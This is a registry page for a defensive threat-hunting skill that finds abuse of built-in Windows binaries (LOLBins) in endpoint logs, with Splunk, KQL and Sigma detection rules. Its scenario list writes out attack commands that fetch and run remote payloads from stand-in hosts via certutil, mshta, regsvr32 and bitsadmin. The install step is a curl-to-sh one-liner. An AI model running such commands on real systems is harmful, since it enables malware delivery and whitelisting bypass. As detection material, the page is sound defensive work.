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mukul975/hunting-for-lolbins-execution-in-endpoint-logsDFIR and threat hunting

hunting-for-lolbins-execution-in-endpoint-logs

⁨Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE⁩

v1.03 installs+3 in 7 days36.3K StarsApache-2.0synced 12 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install mukul975/hunting-for-lolbins-execution-in-endpoint-logs

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
ZKyybDRWsE…ZwvNdgDg==The CLI checks the SHA-256 and the signature before it writes a file.
Package07d3288e…550d8a70
07d3288ebbba…a23e550d8a708 files · ⁦13.2 KB⁩
ScanMedium4 findings
  • Executable script shipped with the skillscripts/agent.py
  • command.pipe_to_shellscripts/agent.py:24
  • Executable script shipped with the skillscripts/process.py
See the full scan
Sourcegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/hunting-for-lolbins-execution-in-endpoint-logs@54a7988

When to Use

  • When hunting for fileless attack techniques that abuse built-in Windows binaries
  • After threat intelligence indicates LOLBin-based campaigns targeting your industry
  • When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
  • During purple team exercises testing detection of defense evasion techniques
  • When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques

Prerequisites

  • Sysmon Event ID 1 (Process Creation) with full command-line logging
  • Windows Security Event ID 4688 with command-line auditing enabled
  • EDR telemetry with parent-child process relationships
  • SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
  • LOLBAS project reference (lolbas-project.github.io) for known abuse patterns

Workflow

  1. Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
  2. Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
  3. Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with -urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.
  4. Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
  5. Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
  6. Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
  7. Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.

Key Concepts

Concept Description
T1218 System Binary Proxy Execution
T1218.001 Compiled HTML File (mshta.exe)
T1218.003 CMSTP
T1218.005 Mshta
T1218.010 Regsvr32 (Squiblydoo)
T1218.011 Rundll32
T1127.001 MSBuild
T1197 BITS Jobs (bitsadmin.exe)
T1140 Deobfuscate/Decode Files (certutil.exe)
T1059.001 PowerShell
T1059.005 Visual Basic (wscript/cscript)
LOLBAS Living Off the Land Binaries, Scripts and Libraries project

Tools & Systems

Tool Purpose
Sysmon Process creation with command-line and hash logging
CrowdStrike Falcon EDR with LOLBin detection analytics
Microsoft Defender for Endpoint Built-in LOLBin abuse detection
Splunk SPL-based process hunting and anomaly detection
Elastic Security Pre-built LOLBin detection rules
LOLBAS Project Reference database of LOLBin abuse techniques
Sigma Rules Community detection rules for LOLBin abuse

Detection Queries

Splunk -- High-Risk LOLBin Execution

spl
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious

KQL -- Microsoft Sentinel LOLBin Hunting

kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma Rule -- Suspicious LOLBin Command Line

yaml
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

Common Scenarios

  1. Certutil Download Cradle: certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe used to download malware bypassing proxy filters.
  2. Mshta HTA Execution: mshta.exe http://attacker.com/malicious.hta executing remote HTA files containing VBScript or JScript payloads.
  3. Regsvr32 Squiblydoo: regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll executing remote SCT files to bypass application whitelisting.
  4. Rundll32 DLL Proxy: rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint executing attacker DLLs via legitimate binary.
  5. MSBuild Inline Task: msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.
  6. BITS Transfer: bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.
  7. WMIC XSL Execution: wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.

Output Format

text
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesNoNo
Writes filesYesYes
Runs shell commandsYesYes
Uses the networkYesYes
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

  1. MediumFile · Executable script shipped with the skillscripts/agent.py
  2. MediumCommand · command.pipe_to_shellscripts/agent.py:24
  3. MediumFile · Executable script shipped with the skillscripts/process.py
  4. InfoLink · Links to outside domains

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v1.0Nov 13, 202654a798807d3288eSigned–

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